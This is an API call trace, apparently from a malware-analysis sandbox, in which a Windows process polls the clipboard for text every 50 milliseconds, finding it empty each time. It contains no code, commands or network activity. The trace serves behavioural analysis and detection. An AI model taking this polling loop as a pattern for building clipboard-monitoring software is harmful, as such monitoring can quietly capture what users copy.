[0268.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb13fe52, dwHighDateTime=0x1d96e12))
[0268.632] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.633] GetClipboardData (uFormat=0x1) returned 0x0
[0268.633] CloseClipboard () returned 1
[0268.633] Sleep (dwMilliseconds=0x32)
[0268.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb1660b1, dwHighDateTime=0x1d96e12))
[0268.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.648] GetClipboardData (uFormat=0x1) returned 0x0
[0268.648] CloseClipboard () returned 1
[0268.648] Sleep (dwMilliseconds=0x32)
[0268.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb18c313, dwHighDateTime=0x1d96e12))
[0268.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.671] GetClipboardData (uFormat=0x1) returned 0x0
[0268.671] CloseClipboard () returned 1
[0268.671] Sleep (dwMilliseconds=0x32)
[0268.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb1b256f, dwHighDateTime=0x1d96e12))
[0268.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.679] GetClipboardData (uFormat=0x1) returned 0x0
[0268.679] CloseClipboard () returned 1
[0268.679] Sleep (dwMilliseconds=0x32)
[0268.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb1d87bf, dwHighDateTime=0x1d96e12))
[0268.696] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.696] GetClipboardData (uFormat=0x1) returned 0x0
[0268.697] CloseClipboard () returned 1
[0268.697] Sleep (dwMilliseconds=0x32)
[0268.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb1fea28, dwHighDateTime=0x1d96e12))
[0268.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.711] GetClipboardData (uFormat=0x1) returned 0x0
[0268.711] CloseClipboard () returned 1
[0268.711] Sleep (dwMilliseconds=0x32)
[0268.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb224c76, dwHighDateTime=0x1d96e12))
[0268.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.726] GetClipboardData (uFormat=0x1) returned 0x0
[0268.726] CloseClipboard () returned 1
[0268.726] Sleep (dwMilliseconds=0x32)
[0268.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb24aed2, dwHighDateTime=0x1d96e12))
[0268.742] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.742] GetClipboardData (uFormat=0x1) returned 0x0
[0268.742] CloseClipboard () returned 1
[0268.742] Sleep (dwMilliseconds=0x32)
[0268.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb271127, dwHighDateTime=0x1d96e12))
[0268.758] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.758] GetClipboardData (uFormat=0x1) returned 0x0
[0268.758] CloseClipboard () returned 1
[0268.758] Sleep (dwMilliseconds=0x32)
[0268.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb297380, dwHighDateTime=0x1d96e12))
[0268.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.773] GetClipboardData (uFormat=0x1) returned 0x0
[0268.773] CloseClipboard () returned 1
[0268.773] Sleep (dwMilliseconds=0x32)
[0268.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb2bd5e0, dwHighDateTime=0x1d96e12))
[0268.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.790] GetClipboardData (uFormat=0x1) returned 0x0
[0268.790] CloseClipboard () returned 1
[0268.790] Sleep (dwMilliseconds=0x32)
[0268.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb2e3841, dwHighDateTime=0x1d96e12))
[0268.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.804] GetClipboardData (uFormat=0x1) returned 0x0
[0268.804] CloseClipboard () returned 1
[0268.804] Sleep (dwMilliseconds=0x32)
[0268.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb309a8f, dwHighDateTime=0x1d96e12))
[0268.821] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.821] GetClipboardData (uFormat=0x1) returned 0x0
[0268.822] CloseClipboard () returned 1
[0268.822] Sleep (dwMilliseconds=0x32)
[0268.837] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb32fce9, dwHighDateTime=0x1d96e12))
[0268.837] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.837] GetClipboardData (uFormat=0x1) returned 0x0
[0268.837] CloseClipboard () returned 1
[0268.837] Sleep (dwMilliseconds=0x32)
[0268.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb355f4d, dwHighDateTime=0x1d96e12))
[0268.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.851] GetClipboardData (uFormat=0x1) returned 0x0
[0268.852] CloseClipboard () returned 1
[0268.852] Sleep (dwMilliseconds=0x32)
[0268.875] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb38860c, dwHighDateTime=0x1d96e12))
[0268.875] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.875] GetClipboardData (uFormat=0x1) returned 0x0
[0268.875] CloseClipboard () returned 1
[0268.875] Sleep (dwMilliseconds=0x32)
[0268.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb3a23fa, dwHighDateTime=0x1d96e12))
[0268.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.882] GetClipboardData (uFormat=0x1) returned 0x0
[0268.883] CloseClipboard () returned 1
[0268.883] Sleep (dwMilliseconds=0x32)
[0268.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb3c8657, dwHighDateTime=0x1d96e12))
[0268.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.898] GetClipboardData (uFormat=0x1) returned 0x0
[0268.898] CloseClipboard () returned 1
[0268.898] Sleep (dwMilliseconds=0x32)
[0268.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb3ee8ae, dwHighDateTime=0x1d96e12))
[0268.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.915] GetClipboardData (uFormat=0x1) returned 0x0
[0268.915] CloseClipboard () returned 1
[0268.915] Sleep (dwMilliseconds=0x32)
[0268.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb414b08, dwHighDateTime=0x1d96e12))
[0268.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.929] GetClipboardData (uFormat=0x1) returned 0x0
[0268.929] CloseClipboard () returned 1
[0268.930] Sleep (dwMilliseconds=0x32)
[0268.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb43ad62, dwHighDateTime=0x1d96e12))
[0268.946] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.946] GetClipboardData (uFormat=0x1) returned 0x0
[0268.947] CloseClipboard () returned 1
[0268.947] Sleep (dwMilliseconds=0x32)
[0268.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb460fb9, dwHighDateTime=0x1d96e12))
[0268.963] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.964] GetClipboardData (uFormat=0x1) returned 0x0
[0268.964] CloseClipboard () returned 1
[0268.964] Sleep (dwMilliseconds=0x32)
[0268.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb487217, dwHighDateTime=0x1d96e12))
[0268.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.976] GetClipboardData (uFormat=0x1) returned 0x0
[0268.976] CloseClipboard () returned 1
[0268.977] Sleep (dwMilliseconds=0x32)
[0268.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb4ad475, dwHighDateTime=0x1d96e12))
[0268.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0268.993] GetClipboardData (uFormat=0x1) returned 0x0
[0268.993] CloseClipboard () returned 1
[0268.994] Sleep (dwMilliseconds=0x32)
[0269.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb4d36cf, dwHighDateTime=0x1d96e12))
[0269.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.007] GetClipboardData (uFormat=0x1) returned 0x0
[0269.008] CloseClipboard () returned 1
[0269.008] Sleep (dwMilliseconds=0x32)
[0269.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb4f9932, dwHighDateTime=0x1d96e12))
[0269.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.023] GetClipboardData (uFormat=0x1) returned 0x0
[0269.023] CloseClipboard () returned 1
[0269.023] Sleep (dwMilliseconds=0x32)
[0269.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb51fb87, dwHighDateTime=0x1d96e12))
[0269.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.040] GetClipboardData (uFormat=0x1) returned 0x0
[0269.040] CloseClipboard () returned 1
[0269.040] Sleep (dwMilliseconds=0x32)
[0269.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb545dd6, dwHighDateTime=0x1d96e12))
[0269.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.054] GetClipboardData (uFormat=0x1) returned 0x0
[0269.054] CloseClipboard () returned 1
[0269.055] Sleep (dwMilliseconds=0x32)
[0269.072] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb56c02f, dwHighDateTime=0x1d96e12))
[0269.072] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.072] GetClipboardData (uFormat=0x1) returned 0x0
[0269.072] CloseClipboard () returned 1
[0269.072] Sleep (dwMilliseconds=0x32)
[0269.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb59228a, dwHighDateTime=0x1d96e12))
[0269.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.086] GetClipboardData (uFormat=0x1) returned 0x0
[0269.086] CloseClipboard () returned 1
[0269.086] Sleep (dwMilliseconds=0x32)
[0269.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb5b84e5, dwHighDateTime=0x1d96e12))
[0269.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.101] GetClipboardData (uFormat=0x1) returned 0x0
[0269.101] CloseClipboard () returned 1
[0269.101] Sleep (dwMilliseconds=0x32)
[0269.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb5de741, dwHighDateTime=0x1d96e12))
[0269.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.119] GetClipboardData (uFormat=0x1) returned 0x0
[0269.119] CloseClipboard () returned 1
[0269.119] Sleep (dwMilliseconds=0x32)
[0269.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb604999, dwHighDateTime=0x1d96e12))
[0269.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.132] GetClipboardData (uFormat=0x1) returned 0x0
[0269.133] CloseClipboard () returned 1
[0269.133] Sleep (dwMilliseconds=0x32)
[0269.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb62abf4, dwHighDateTime=0x1d96e12))
[0269.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.149] GetClipboardData (uFormat=0x1) returned 0x0
[0269.149] CloseClipboard () returned 1
[0269.149] Sleep (dwMilliseconds=0x32)
[0269.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb650e52, dwHighDateTime=0x1d96e12))
[0269.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.165] GetClipboardData (uFormat=0x1) returned 0x0
[0269.165] CloseClipboard () returned 1
[0269.165] Sleep (dwMilliseconds=0x32)
[0269.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb6770b0, dwHighDateTime=0x1d96e12))
[0269.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.179] GetClipboardData (uFormat=0x1) returned 0x0
[0269.180] CloseClipboard () returned 1
[0269.180] Sleep (dwMilliseconds=0x32)
[0269.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb69d301, dwHighDateTime=0x1d96e12))
[0269.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.197] GetClipboardData (uFormat=0x1) returned 0x0
[0269.197] CloseClipboard () returned 1
[0269.197] Sleep (dwMilliseconds=0x32)
[0269.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb6c3585, dwHighDateTime=0x1d96e12))
[0269.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.211] GetClipboardData (uFormat=0x1) returned 0x0
[0269.211] CloseClipboard () returned 1
[0269.211] Sleep (dwMilliseconds=0x32)
[0269.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb6e97ba, dwHighDateTime=0x1d96e12))
[0269.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.226] GetClipboardData (uFormat=0x1) returned 0x0
[0269.226] CloseClipboard () returned 1
[0269.226] Sleep (dwMilliseconds=0x32)
[0269.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb70fa0d, dwHighDateTime=0x1d96e12))
[0269.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.243] GetClipboardData (uFormat=0x1) returned 0x0
[0269.243] CloseClipboard () returned 1
[0269.243] Sleep (dwMilliseconds=0x32)
[0269.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb735c68, dwHighDateTime=0x1d96e12))
[0269.257] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.257] GetClipboardData (uFormat=0x1) returned 0x0
[0269.258] CloseClipboard () returned 1
[0269.258] Sleep (dwMilliseconds=0x32)
[0269.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb75bec1, dwHighDateTime=0x1d96e12))
[0269.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.273] GetClipboardData (uFormat=0x1) returned 0x0
[0269.273] CloseClipboard () returned 1
[0269.273] Sleep (dwMilliseconds=0x32)
[0269.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb782119, dwHighDateTime=0x1d96e12))
[0269.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.290] GetClipboardData (uFormat=0x1) returned 0x0
[0269.290] CloseClipboard () returned 1
[0269.290] Sleep (dwMilliseconds=0x32)
[0269.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb7a8378, dwHighDateTime=0x1d96e12))
[0269.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.305] GetClipboardData (uFormat=0x1) returned 0x0
[0269.305] CloseClipboard () returned 1
[0269.305] Sleep (dwMilliseconds=0x32)
[0269.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb7ce5d0, dwHighDateTime=0x1d96e12))
[0269.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.321] GetClipboardData (uFormat=0x1) returned 0x0
[0269.321] CloseClipboard () returned 1
[0269.322] Sleep (dwMilliseconds=0x32)
[0269.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb7f482d, dwHighDateTime=0x1d96e12))
[0269.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.336] GetClipboardData (uFormat=0x1) returned 0x0
[0269.336] CloseClipboard () returned 1
[0269.336] Sleep (dwMilliseconds=0x32)
[0269.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb81aa87, dwHighDateTime=0x1d96e12))
[0269.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.351] GetClipboardData (uFormat=0x1) returned 0x0
[0269.352] CloseClipboard () returned 1
[0269.352] Sleep (dwMilliseconds=0x32)
[0269.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb840cfa, dwHighDateTime=0x1d96e12))
[0269.369] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.369] GetClipboardData (uFormat=0x1) returned 0x0
[0269.369] CloseClipboard () returned 1
[0269.369] Sleep (dwMilliseconds=0x32)
[0269.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb866f3c, dwHighDateTime=0x1d96e12))
[0269.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.383] GetClipboardData (uFormat=0x1) returned 0x0
[0269.383] CloseClipboard () returned 1
[0269.383] Sleep (dwMilliseconds=0x32)
[0269.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb88d191, dwHighDateTime=0x1d96e12))
[0269.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.398] GetClipboardData (uFormat=0x1) returned 0x0
[0269.398] CloseClipboard () returned 1
[0269.398] Sleep (dwMilliseconds=0x32)
[0269.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb8b33ee, dwHighDateTime=0x1d96e12))
[0269.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.415] GetClipboardData (uFormat=0x1) returned 0x0
[0269.415] CloseClipboard () returned 1
[0269.416] Sleep (dwMilliseconds=0x32)
[0269.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb8d964c, dwHighDateTime=0x1d96e12))
[0269.434] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.434] GetClipboardData (uFormat=0x1) returned 0x0
[0269.434] CloseClipboard () returned 1
[0269.434] Sleep (dwMilliseconds=0x32)
[0269.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb8ff8a7, dwHighDateTime=0x1d96e12))
[0269.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.446] GetClipboardData (uFormat=0x1) returned 0x0
[0269.447] CloseClipboard () returned 1
[0269.447] Sleep (dwMilliseconds=0x32)
[0269.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb925b00, dwHighDateTime=0x1d96e12))
[0269.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.461] GetClipboardData (uFormat=0x1) returned 0x0
[0269.461] CloseClipboard () returned 1
[0269.461] Sleep (dwMilliseconds=0x32)
[0269.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb94bd5a, dwHighDateTime=0x1d96e12))
[0269.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.476] GetClipboardData (uFormat=0x1) returned 0x0
[0269.476] CloseClipboard () returned 1
[0269.476] Sleep (dwMilliseconds=0x32)
[0269.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb971fcc, dwHighDateTime=0x1d96e12))
[0269.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.493] GetClipboardData (uFormat=0x1) returned 0x0
[0269.493] CloseClipboard () returned 1
[0269.493] Sleep (dwMilliseconds=0x32)
[0269.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb99824b, dwHighDateTime=0x1d96e12))
[0269.508] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.508] GetClipboardData (uFormat=0x1) returned 0x0
[0269.508] CloseClipboard () returned 1
[0269.508] Sleep (dwMilliseconds=0x32)
[0269.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb9be461, dwHighDateTime=0x1d96e12))
[0269.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.523] GetClipboardData (uFormat=0x1) returned 0x0
[0269.523] CloseClipboard () returned 1
[0269.523] Sleep (dwMilliseconds=0x32)
[0269.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfb9e46d7, dwHighDateTime=0x1d96e12))
[0269.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.540] GetClipboardData (uFormat=0x1) returned 0x0
[0269.540] CloseClipboard () returned 1
[0269.540] Sleep (dwMilliseconds=0x32)
[0269.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfba0a912, dwHighDateTime=0x1d96e12))
[0269.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.554] GetClipboardData (uFormat=0x1) returned 0x0
[0269.554] CloseClipboard () returned 1
[0269.554] Sleep (dwMilliseconds=0x32)
[0269.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfba30b6a, dwHighDateTime=0x1d96e12))
[0269.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.571] GetClipboardData (uFormat=0x1) returned 0x0
[0269.572] CloseClipboard () returned 1
[0269.572] Sleep (dwMilliseconds=0x32)
[0269.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfba56dc8, dwHighDateTime=0x1d96e12))
[0269.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.586] GetClipboardData (uFormat=0x1) returned 0x0
[0269.586] CloseClipboard () returned 1
[0269.586] Sleep (dwMilliseconds=0x32)
[0269.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfba7d029, dwHighDateTime=0x1d96e12))
[0269.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.601] GetClipboardData (uFormat=0x1) returned 0x0
[0269.601] CloseClipboard () returned 1
[0269.601] Sleep (dwMilliseconds=0x32)
[0269.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbaa329d, dwHighDateTime=0x1d96e12))
[0269.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.618] GetClipboardData (uFormat=0x1) returned 0x0
[0269.618] CloseClipboard () returned 1
[0269.618] Sleep (dwMilliseconds=0x32)
[0269.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbac94dc, dwHighDateTime=0x1d96e12))
[0269.633] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.633] GetClipboardData (uFormat=0x1) returned 0x0
[0269.633] CloseClipboard () returned 1
[0269.633] Sleep (dwMilliseconds=0x32)
[0269.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbaef72a, dwHighDateTime=0x1d96e12))
[0269.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.648] GetClipboardData (uFormat=0x1) returned 0x0
[0269.648] CloseClipboard () returned 1
[0269.648] Sleep (dwMilliseconds=0x32)
[0269.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbb15994, dwHighDateTime=0x1d96e12))
[0269.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.671] GetClipboardData (uFormat=0x1) returned 0x0
[0269.671] CloseClipboard () returned 1
[0269.671] Sleep (dwMilliseconds=0x32)
[0269.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbb3bbf7, dwHighDateTime=0x1d96e12))
[0269.681] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.681] GetClipboardData (uFormat=0x1) returned 0x0
[0269.681] CloseClipboard () returned 1
[0269.681] Sleep (dwMilliseconds=0x32)
[0269.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbb61e44, dwHighDateTime=0x1d96e12))
[0269.695] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.695] GetClipboardData (uFormat=0x1) returned 0x0
[0269.695] CloseClipboard () returned 1
[0269.695] Sleep (dwMilliseconds=0x32)
[0269.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbb880ae, dwHighDateTime=0x1d96e12))
[0269.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.711] GetClipboardData (uFormat=0x1) returned 0x0
[0269.711] CloseClipboard () returned 1
[0269.711] Sleep (dwMilliseconds=0x32)
